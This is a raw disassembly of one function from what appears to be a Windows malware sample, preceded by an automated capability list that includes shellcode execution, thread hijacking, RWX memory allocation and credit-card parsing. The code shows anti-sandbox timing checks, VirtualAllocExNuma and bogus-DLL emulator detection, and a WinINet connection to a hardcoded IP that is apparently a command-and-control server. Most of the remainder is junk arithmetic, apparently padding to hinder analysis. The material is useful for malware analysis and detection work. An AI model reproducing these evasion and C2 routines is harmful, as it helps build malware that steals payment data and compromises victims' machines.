Function at 0x2bfe41d34
Capabilities:
Allocate or change rwx memory
Check http status code
Connect to http server
Create http request
Enumerate processes
Enumerate threads
Execute shellcode via indirect call
Hijack thread execution
Link many functions at runtime
Parse credit card information
Parse pe header
Read data from internet
Receive data
Resume thread
Send data
Send http request
Suspend thread

Disassembly:
push rbp
push rbx
mov eax, 0x2468
call fcn.2bfe5af80
sub rsp, rax
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x23d0], xmm6
mov qword [rbp + 0x2400], rcx
mov dword [rbp + 0x2408], edx
mov qword [rbp + 0x2410], r8
mov dword [rbp + 0x1918], 1
cmp dword [rbp + 0x2408], 1
jne 0x2bfe5a1d0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1910], rax
mov rax, qword [rbp + 0x1910]
mov ecx, 0
call rax
mov dword [rbp + 0x190c], eax
cmp dword [rbp + 0x190c], 0xffffffff
je 0x2bfe5a1d0
mov dword [rbp + 0x1908], 0x28e
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1900], rax
mov rax, qword [rbp + 0x1900]
call rax
mov dword [rbp + 0x18fc], eax
mov eax, dword [rbp + 0x1908]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x1900]
call rax
mov dword [rbp + 0x18f8], eax
mov eax, dword [rbp + 0x18f8]
sub eax, dword [rbp + 0x18fc]
cmp eax, 0x25c
jbe 0x2bfe5a1d0
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x18f0], rax
cmp qword [rbp + 0x18f0], 0
jne 0x2bfe5a1d0
mov qword [rbp + 0x18e8], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x18e0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x18e0]
mov r9d, 0x3000
mov r8d, 0x2e4
mov edx, 0
call rax
mov qword [rbp + 0x18e8], rax
cmp qword [rbp + 0x18e8], 0
je 0x2bfe5a1d0
mov dword [rbp + 0x18dc], 0x25b
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x18d0], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x18c8], rax
mov rax, qword [rbp + 0x18c8]
call rax
mov dword [rbp + 0x18c4], eax
mov eax, dword [rbp + 0x18dc]
mov r8, qword [rbp + 0x18d0]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x18c8]
call rax
mov dword [rbp + 0x18c0], eax
mov eax, dword [rbp + 0x18c0]
sub eax, dword [rbp + 0x18c4]
cmp eax, 0x229
jbe 0x2bfe5a1d0
mov qword [rbp + 0x18b8], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x18b0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x18b0]
mov r9d, 0x3000
mov r8d, 0x495
mov edx, 0
call rax
mov qword [rbp + 0x18b8], rax
cmp qword [rbp + 0x18b8], 0
je 0x2bfe5a1d0
mov ecx, 0x40d
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x40d
jne 0x2bfe5a1d0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov qword [rbp + 0x23c8], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x18a8], rax
cmp qword [rbp + 0x18a8], 0
je 0x2bfe42105
mov rax, qword [rbp + 0x18a8]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x18a0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x18a0]
mov r9d, 0x3000
mov r8d, 0x304
mov edx, 0
call rax
mov qword [rbp + 0x23c8], rax
cmp qword [rbp + 0x23c8], 0
je 0x2bfe5a1d0
lea rax, str.xxunpdrhhtrr.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x1898], rax
cmp qword [rbp + 0x1898], 0
jne 0x2bfe5a1d0
mov dword [rbp + 0x1894], 0x339
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1888], rax
mov rax, qword [rbp + 0x1888]
call rax
mov dword [rbp + 0x1884], eax
mov eax, dword [rbp + 0x1894]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x1888]
call rax
mov dword [rbp + 0x1880], eax
mov eax, dword [rbp + 0x1880]
sub eax, dword [rbp + 0x1884]
cmp eax, 0x307
jbe 0x2bfe5a1d0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.WININET.dll_InternetOpenA]
call rax
mov qword [rbp + 0x1878], rax
cmp qword [rbp + 0x1878], 0
je 0x2bfe5a1d0
mov rax, qword [rbp + 0x1878]
mov qword [rsp + 0x38], 1
mov dword [rsp + 0x30], 0x800000
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x115c
lea rdx, str.132.163.25.36
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetConnectA]
call rax
mov qword [rbp + 0x1870], rax
cmp qword [rbp + 0x1870], 0
je 0x2bfe5a1d0
mov dword [rbp + 0x186c], 0
mov qword [rbp + 0x23b8], 0
mov dword [rbp + 0x1868], 0x53
mov dword [rbp + 0x23c0], 1
jmp 0x2bfe4229a
mov eax, dword [rbp + 0x23c0]
cdqe
add qword [rbp + 0x23b8], rax
add dword [rbp + 0x23c0], 1
mov eax, dword [rbp + 0x23c0]
cmp eax, dword [rbp + 0x1868]
jle 0x2bfe42284
mov ecx, 0x184
call sym.malloc
mov qword [rbp + 0x1860], rax
mov ecx, 0x5a0
call sym.malloc
mov qword [rbp + 0x1858], rax
mov ecx, 0x5a0
call sym.malloc
mov qword [rbp + 0x1850], rax
mov ecx, 0x5a0
call sym.malloc
mov qword [rbp + 0x1848], rax
mov dword [rbp + 0x23b4], 0
jmp 0x2bfe423e5
mov dword [rbp + 0x23b0], 0
jmp 0x2bfe423d1
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x23b4]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
add rax, rcx
shl rax, 3
mov rcx, rax
mov rax, qword [rbp + 0x1858]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x23b0]
cdqe
movss dword [rcx + rax*4], xmm0
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x23b4]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
add rax, rcx
shl rax, 3
mov rcx, rax
mov rax, qword [rbp + 0x1850]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x23b0]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x23b0], 1
cmp dword [rbp + 0x23b0], 0x11
jle 0x2bfe4230a
add dword [rbp + 0x23b4], 1
cmp dword [rbp + 0x23b4], 0x13
jle 0x2bfe422fb
mov dword [rbp + 0x23b4], 0
jmp 0x2bfe424c2
mov dword [rbp + 0x23b0], 0
jmp 0x2bfe424ae
mov eax, dword [rbp + 0x23b4]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x1858]
add rdx, rax
mov eax, dword [rbp + 0x23b0]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x23b4]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x1850]
add rdx, rax
mov eax, dword [rbp + 0x23b0]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x23b4]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x1848]
add rdx, rax
mulss xmm0, xmm1
mov eax, dword [rbp + 0x23b0]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x23b0], 1
cmp dword [rbp + 0x23b0], 0x11
jle 0x2bfe42410
add dword [rbp + 0x23b4], 1
cmp dword [rbp + 0x23b4], 0x13
jle 0x2bfe42401
mov rax, qword [rbp + 0x1858]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x1850]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x1848]
mov rcx, rax
call sym.free
mov ecx, 0xe4
call sym.malloc
mov qword [rbp + 0x1840], rax
mov dword [rbp + 0x23a8], 0
mov dword [rbp + 0x23a4], 0
mov dword [rbp + 0x23ac], 0
jmp 0x2bfe4257a
call sym.rand
mov edx, dword [rbp + 0x23ac]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x1840]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x14f8b589
shr rdx, 0x20
sar edx, 0xd
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x186a0
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x23ac], 1
cmp dword [rbp + 0x23ac], 0x38
jle 0x2bfe4252d
mov dword [rbp + 0x23ac], 0
mov dword [rbp + 0x23ac], 0
jmp 0x2bfe425f6
mov eax, dword [rbp + 0x23ac]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1840]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x2bfe425c5
add dword [rbp + 0x23a8], 1
jmp 0x2bfe425ef
mov eax, dword [rbp + 0x23ac]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1840]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x2bfe425ef
add dword [rbp + 0x23a4], 1
add dword [rbp + 0x23ac], 1
cmp dword [rbp + 0x23ac], 0x38
jle 0x2bfe42599
mov rax, qword [rbp + 0x1840]
mov rcx, rax
call sym.free
mov ecx, 0x1260
call sym.malloc
mov qword [rbp + 0x1838], rax
mov ecx, 0x1260
call sym.malloc
mov qword [rbp + 0x1830], rax
mov dword [rbp + 0x23a0], 0
jmp 0x2bfe426c9
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x23a0]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1838]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x23a0], 1
cmp dword [rbp + 0x23a0], 0x24b
jle 0x2bfe4263f
mov dword [rbp + 0x23a0], 0
jmp 0x2bfe42737
mov eax, dword [rbp + 0x23a0]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1838]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x23a0]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x1830]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.floor
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x23a0], 1
cmp dword [rbp + 0x23a0], 0x24b
jle 0x2bfe426e5
mov ecx, 0x30c
call sym.malloc
mov qword [rbp + 0x1828], rax
mov dword [rbp + 0x239c], 0
jmp 0x2bfe427ea
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2ss xmm6, edx
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2ss xmm1, edx
mov eax, dword [rbp + 0x239c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1828]
add rax, rdx
divss xmm6, xmm1
movups xmm0, xmm6
movss dword [rax], xmm0
add dword [rbp + 0x239c], 1
cmp dword [rbp + 0x239c], 0xc2
jle 0x2bfe42763
mov dword [rbp + 0x239c], 0
jmp 0x2bfe428ee
cmp dword [rbp + 0x239c], 0
je 0x2bfe42853
mov eax, dword [rbp + 0x239c]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x1828]
add rax, rdx
movss xmm1, dword [rax]
mov eax, dword [rbp + 0x239c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1828]
add rax, rdx
movss xmm0, dword [rax]
comiss xmm0, xmm1
jb 0x2bfe4285f
add dword [rbp + 0x239c], 1
jmp 0x2bfe428ee
mov eax, dword [rbp + 0x239c]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x1828]
add rax, rdx
movss xmm0, dword [rax]
movss dword [rbp + 0x628], xmm0
mov eax, dword [rbp + 0x239c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1828]
add rdx, rax
mov eax, dword [rbp + 0x239c]
cdqe
shl rax, 2
lea rcx, [rax - 4]
mov rax, qword [rbp + 0x1828]
add rax, rcx
movss xmm0, dword [rdx]
movss dword [rax], xmm0
mov eax, dword [rbp + 0x239c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1828]
add rax, rdx
movss xmm0, dword [rbp + 0x628]
movss dword [rax], xmm0
sub dword [rbp + 0x239c], 1
cmp dword [rbp + 0x239c], 0xc2
jle 0x2bfe42809
mov rax, qword [rbp + 0x1828]
mov rcx, rax
call sym.free
mov dword [rbp + 0x2398], 0xffffffff
pxor xmm0, xmm0
movsd qword [rbp + 0x2390], xmm0
add dword [rbp + 0x2398], 1
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x2398]
movsd xmm0, qword [0x2bfe630c0]
addsd xmm0, xmm1
mov rax, qword [0x2bfe630c8]
movupd xmm1, xmm0
movq xmm0, rax
call dbg.pow
movq rax, xmm0
pxor xmm0, xmm0
cvtsi2sd xmm0, dword [rbp + 0x2398]
addsd xmm0, xmm0
movsd xmm2, qword [0x2bfe630c0]
movupd xmm1, xmm0
subsd xmm1, xmm2
movq xmm0, rax
divsd xmm0, xmm1
movsd xmm1, qword [rbp + 0x2390]
addsd xmm0, xmm1
movsd qword [rbp + 0x2390], xmm0
cmp dword [rbp + 0x2398], 0x90
jle 0x2bfe42923
movsd xmm1, qword [rbp + 0x2390]
movsd xmm0, qword [0x2bfe630d0]
mulsd xmm0, xmm1
movsd qword [rbp + 0x2390], xmm0
mov dword [rbp + 0x2388], 0
mov dword [rbp + 0x1824], 0
mov ecx, 0x184
call sym.malloc
mov qword [rbp + 0x1818], rax
mov dword [rbp + 0x238c], 0
jmp 0x2bfe42a72
call sym.rand
mov ecx, eax
mov eax, dword [rbp + 0x238c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1818]
lea r8, [rdx + rax]
movsxd rax, ecx
imul rax, rax, 0x51eb851f
shr rax, 0x20
mov edx, eax
sar edx, 3
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
shl eax, 2
add eax, edx
lea edx, [rax*4]
add eax, edx
sub ecx, eax
mov edx, ecx
mov dword [r8], edx
mov eax, dword [rbp + 0x238c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1818]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x2388], eax
add dword [rbp + 0x238c], 1
cmp dword [rbp + 0x238c], 0x60
jle 0x2bfe429f6
mov rax, qword [rbp + 0x1818]
mov rcx, rax
call sym.free
mov dword [rbp + 0x2384], 0xffffffff
add dword [rbp + 0x2384], 1
call sym.rand
imul eax, eax, 0x230
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x2bfe630d8]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call dbg.log
movq rax, xmm0
mov qword [rbp + 0x1810], rax
cmp dword [rbp + 0x2384], 0xe7
jle 0x2bfe42a98
mov ecx, 0x1e0
call sym.malloc
mov qword [rbp + 0x1808], rax
mov ecx, 0x1e0
call sym.malloc
mov qword [rbp + 0x1800], rax
mov ecx, 0x1e0
call sym.malloc
mov qword [rbp + 0x17f8], rax
mov dword [rbp + 0x2380], 0
jmp 0x2bfe42c0f
mov dword [rbp + 0x237c], 0
jmp 0x2bfe42bfb
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x2380]
movsxd rcx, eax
mov rax, rcx
add rax, rax
add rax, rcx
shl rax, 4
mov rcx, rax
mov rax, qword [rbp + 0x1808]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x237c]
cdqe
movss dword [rcx + rax*4], xmm0
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x2380]
movsxd rcx, eax
mov rax, rcx
add rax, rax
add rax, rcx
shl rax, 4
mov rcx, rax
mov rax, qword [rbp + 0x1800]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x237c]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x237c], 1
cmp dword [rbp + 0x237c], 0xb
jle 0x2bfe42b36
add dword [rbp + 0x2380], 1
cmp dword [rbp + 0x2380], 9
jle 0x2bfe42b27
mov dword [rbp + 0x2380], 0
jmp 0x2bfe42ce9
mov dword [rbp + 0x237c], 0
jmp 0x2bfe42cd5
mov eax, dword [rbp + 0x2380]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x1808]
add rdx, rax
mov eax, dword [rbp + 0x237c]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x2380]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x1800]
add rdx, rax
mov eax, dword [rbp + 0x237c]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x2380]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x17f8]
add rdx, rax
mulss xmm0, xmm1
mov eax, dword [rbp + 0x237c]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x237c], 1
cmp dword [rbp + 0x237c], 0xb
jle 0x2bfe42c3a
add dword [rbp + 0x2380], 1
cmp dword [rbp + 0x2380], 9
jle 0x2bfe42c2b
mov rax, qword [rbp + 0x1808]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x1800]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x17f8]
mov rcx, rax
call sym.free
mov ecx, 0x418
call sym.malloc
mov qword [rbp + 0x17f0], rax
mov ecx, 0x418
call sym.malloc
mov qword [rbp + 0x17e8], rax
mov dword [rbp + 0x2374], 0x105
mov dword [rbp + 0x2378], 0
jmp 0x2bfe42deb
call sym.rand
mov edx, dword [rbp + 0x2378]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x17f0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x2374]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x17f0]
add rax, rdx
mov edx, dword [rbp + 0x2378]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x17e8]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x2374], 1
add dword [rbp + 0x2378], 1
cmp dword [rbp + 0x2378], 0x105
jle 0x2bfe42d5e
mov rax, qword [rbp + 0x17f0]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x17e8]
mov rcx, rax
call sym.free
mov dword [rbp + 0x23c4], 0
jmp 0x2bfe457bf
mov dword [rbp + 0x2370], 0xffffffff
add dword [rbp + 0x2370], 1
call sym.rand
mov edx, eax
movsxd rax, edx
imul rax, rax, 0x78787879
shr rax, 0x20
sar eax, 3
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
mov dword [rbp + 0x800], eax
mov ecx, dword [rbp + 0x800]
mov eax, ecx
shl eax, 4
add eax, ecx
sub edx, eax
mov dword [rbp + 0x800], edx
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x2bfe630d8]
divsd xmm0, xmm1
movq rax, xmm0
mov edx, dword [rbp + 0x800]
movq xmm0, rax
call dbg.ldexp
movq rax, xmm0
mov qword [rbp + 0x7f8], rax
cmp dword [rbp + 0x2370], 0x75
jle 0x2bfe42e32
mov ecx, 0x778
call sym.malloc
mov qword [rbp + 0x7f0], rax
mov dword [rbp + 0x236c], 0
jmp 0x2bfe42f25
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x2bfe630d8]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x236c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7f0]
add rax, rdx
movsd xmm1, qword [0x2bfe630c0]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x236c], 1
cmp dword [rbp + 0x236c], 0xee
jle 0x2bfe42ed7
mov dword [rbp + 0x236c], 0
jmp 0x2bfe42f8f
mov eax, dword [rbp + 0x236c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7f0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x236c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x7f0]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.acos
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x236c], 1
cmp dword [rbp + 0x236c], 0xee
jle 0x2bfe42f3d
mov ecx, 0xd8
call sym.malloc
mov qword [rbp + 0x7e8], rax
mov dword [rbp + 0x2368], 0
mov dword [rbp + 0x7e4], 1
mov dword [rbp + 0x2364], 0
jmp 0x2bfe43046
mov dword [rbp + 0x2360], 0
jmp 0x2bfe43036
call sym.rand
mov edx, eax
mov eax, dword [rbp + 0x2364]
movsxd rcx, eax
mov rax, rcx
add rax, rax
add rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x7e8]
lea r8, [rcx + rax]
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 5
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x64
mov eax, edx
sub eax, ecx
mov edx, dword [rbp + 0x2360]
movsxd rdx, edx
mov dword [r8 + rdx*4], eax
add dword [rbp + 0x2360], 1
cmp dword [rbp + 0x2360], 2
jle 0x2bfe42fd8
add dword [rbp + 0x2364], 1
cmp dword [rbp + 0x2364], 0x11
jle 0x2bfe42fcc
mov dword [rbp + 0x2364], 0
jmp 0x2bfe430bb
mov dword [rbp + 0x2360], 0
jmp 0x2bfe430ab
mov eax, dword [rbp + 0x2364]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x7e8]
add rdx, rax
mov eax, dword [rbp + 0x2360]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x2bfe430a4
add dword [rbp + 0x2368], 1
add dword [rbp + 0x2360], 1
cmp dword [rbp + 0x2360], 2
jle 0x2bfe4306b
add dword [rbp + 0x2364], 1
cmp dword [rbp + 0x2364], 0x11
jle 0x2bfe4305f
cmp dword [rbp + 0x2368], 0x1b
je 0x2bfe430d7
mov dword [rbp + 0x7e4], 0
mov rax, qword [rbp + 0x7e8]
mov rcx, rax
call sym.free
mov ecx, 0x38c
call sym.malloc
mov qword [rbp + 0x7d8], rax
mov ecx, 0x38c
call sym.malloc
mov qword [rbp + 0x7d0], rax
mov ecx, 0x38c
call sym.malloc
mov qword [rbp + 0x7c8], rax
mov ecx, 0x38c
call sym.malloc
mov qword [rbp + 0x7c0], rax
mov dword [rbp + 0x2358], 0xe2
mov dword [rbp + 0x235c], 0
jmp 0x2bfe4324f
call sym.rand
mov edx, dword [rbp + 0x235c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x7d8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sym.rand
mov edx, dword [rbp + 0x235c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x7d0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x2358]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7d8]
add rax, rdx
mov edx, dword [rbp + 0x235c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x7c8]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x2358]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7d0]
add rax, rdx
mov edx, dword [rbp + 0x235c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x7c0]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x2358], 1
add dword [rbp + 0x235c], 1
cmp dword [rbp + 0x235c], 0xe2
jle 0x2bfe43143
